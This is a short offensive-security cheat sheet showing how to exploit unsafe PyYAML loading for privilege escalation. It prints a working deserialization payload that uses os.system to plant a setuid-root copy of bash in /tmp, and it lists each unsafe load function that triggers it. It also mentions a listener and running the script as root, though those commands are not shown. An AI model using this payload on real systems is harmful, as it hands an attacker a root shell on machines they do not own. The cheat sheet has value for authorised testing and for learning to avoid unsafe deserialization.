Page cover

Python Yaml Privilege Escalation

Python Yaml package is vulnerable to execute arbitrary command.

import yaml

filename = "example.yml"
yaml.load()
Copied!

import yaml
from yaml import Loader, UnsafeLoader

data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)
Copied!

Now execute the bash in privilege mode.

Start a listener in local machine.

Then execute Python script that contains the following YAML code as root.

Sometimes we might be able to remote code execution by using Base64 encoded payload.

References

Last updated